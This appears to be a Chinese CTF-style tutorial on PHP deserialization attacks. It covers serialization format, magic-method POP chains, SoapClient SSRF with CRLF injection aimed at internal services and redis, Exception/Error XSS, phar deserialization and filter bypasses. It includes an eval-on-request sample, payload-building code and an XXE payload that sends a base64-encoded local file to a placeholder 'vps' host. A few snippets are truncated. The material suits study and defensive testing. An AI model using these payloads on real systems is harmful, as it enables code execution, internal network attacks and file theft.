序列化概念
序列化就是将一个对象转换成字符串,字符串包括该对象对应的类名,属性个数、属性名、属性值、属性名、值的类型和长度。
反序列化则是将字符串重新恢复成对象,在反序列化一个对象前,这个对象的类必须在解序列化之前定义。
serialize()序列化 unserialize()反序列化
<?php class Ctf { public $flag = 'flag{******}'; public $name = 'mtcz91'; public $age = '10'; public function __sleep(){ return array('flag','age'); } } $ctfer = new Ctf(); $ctfer->flag = 'flag{abcdefg}'; $ctfer->name = 'mtcz91'; $ctfer->age = '18'; // $str = serialize($ctfer); // echo $str; echo '<br>'; var_dump(unserialize('O:3:"Ctf":1:{s:3:"age";s:2:"18";}')); ?>
O:3:"Ctf":3{s:4:"flag";s:13:"flag{u_are_the_future}";s:4:"name";s:5:"mtcz91";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{u_are_the_future}" 字符串 属性值长度 属性值
序列化变量类型
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。
unserialize() 会检查是否存在一个 __wakeup() 魔术方法,如果存在则会先调用__wakeup()方法在进行反序列化。
可以在__wakeup()方法中对属性进行初始化或者改变,表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
访问控制修饰符
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名
常见的魔术方法触发方式:
当对象被创建时:__construct
当对象被销毁时:__destruct
当对象被当作一个字符串使用时:__toString
序列化对象前使用:__sleep
反序列化恢复对象前调用:__wakeup
当调用对象中不存在的方法时自动调用:__call
从不可访问的属性读取数据:__get
当把一个对象当作一个函数调用时:__invoke
常见的反序列化
魔术方法中存在可利用代码
代码如下
<?php class test { function __destruct(){ echo "destruct...<br>"; eval($_GET['cmd']); } } unserialize($_GET['u']) ?>
构造test对象的序列化字符串O:4:"test":0:{}
<?php class test{} $test = new test; echo serialize($test); ?>
存在调用其他类方法的代码
<?php class lemon { protected $ClassObj; function __construct(){ $this->ClassObj = new normal(); } function __destruct(){ $this->ClassObj->action(); } } class normal{ function action(){ echo "hello"; } } class evil{ private $data; function action(){ eval($this->data); } } unserialize($_GET['d']); ?>
在exploit中,我们可以在__construct中将ClassObj换为evil类,然后将evil类的私有属性data赋值为phpinfo()。
O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}
<?php class lemon { protected $ClassObj; function __construct(){ $this->ClassObj = new evil(); } function __destruct(){ $this->ClassObj->action(); } } class normal{ function action(){ echo "hello"; } } class evil{ private $data = "phpinfo();"; function action(){ eval($this->data); } } $test = new lemon; echo urlencode(serialize($test)); ?>
原生类利用
__call方法
<?php $rce = unserialize($_REQUEST['u']); echo $rce->notexist(); ?>
构造 exploit
<?php echo serialize(new SoapClient(null, array('uri'=>'http://vps/','location'=>'http://vps/aaa'))); ?>
利用crlf进行更加深入的利用
<?php $rce = unserialize($_REQUEST['u']); echo $rce->notexist(); ?>
构造 exploit
<?php $poc = "i am evil string..."; $target = "http://47.94.37.154:8080"; $b = new SoapClient(null,array('location'=>$target, 'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^', "\n\r", $aaa); echo urlencode($aaa); ?>
进而可以转换为如下两种攻击方式:
1. 构造post数据包来攻击内网HTTP服务,Soap默认头存在Content-Type:text/xml,但可以通过user_agent注入数据,将content-Type挤下,最终请求数据data=abc后的数据在容器处理下会被忽略。
$target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); ?>
2. 构造任意HTTP头来攻击内网其他服务(redis)
`CONFIG SET dir /root/` __toString方法,将对象作为字符串处理时会自动触发。
<?php $rce = unserialize($_REQUEST['u']); ?>
构造exploit
O%3A9%3A%22Exception%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A37%3A%22%3Cscrip
<?php echo urlencode(serialize(new Exception("<script>alert(/hello world/)</script>"))); ?>
Error 适用于php 7.0
<?php $a = new Error("<script>alert(1)</script>"); $b = serialize($a); echo urlencode($b); ?>
test
<?php $t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c; ?>
__construct方法
通常情况下无法触发,当可以对任意类实例化时可以触发。
new SimpleXMLElement('http://vps/xxe_evil', LIBXML_NOENT, true)
xxe_evil
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/xxe_read_passwd"> %remote; ]> </root>
xxe_read_passwd
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/System32/drivers/etc/hosts"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://vps/?xxe_local=%payload;'>"> %int; %trick;
读取hosts,只读取了部分文件
phar反序列化
<?php class demo{ public $t = "Test"; function __destruct(){ echo $this->t."win."; } } file_exists("phar://./demo.phar"); ?>
构造phar包
<?php class demo{ public $t = "Test"; function __destruct(){ echo $this->t."win."; } } $obj = new demo; $obj->t = "you"; $p = new Phar('./demo.phar',0); $p->startBuffering(); $p->setMetadata($obj); $p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); $p->addFromString('test.txt','test'); $p->stopBuffering(); ?>
反序列化限制绕过
__wakeup:当属性个数不正确时,php中就不会调用__wakeup(php5-5.6.25、php7-7.0.10)
bypass 反序列化正则
使用正则/[oc]:\d+:/i进行拦截
可以用 + 号进行绕过,如O:+4:"demo":1:{s:5:"demoa";a:0:{}}
反序列化字符逃逸
php在序列化字符串时,会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且php底层是以;作为分割,以}作为结尾。类中不存在的属性也会进行反序列化,就会发生逃逸问题,导致对象注入。
session 反序列化
php默认存在一些session 处理器:php、php_binary、php_serialize 和 wddx。这些处理器都有经过序列化保存值,调用的时候会反序列化。
jarvisoj-web的一道SESSION反序列化题目
php 引用 & 绕过
Exception 绕过
参考链接:
- https://www.freebuf.com/articles/web/221213.html
- 《从0到1:ctfer成长之路》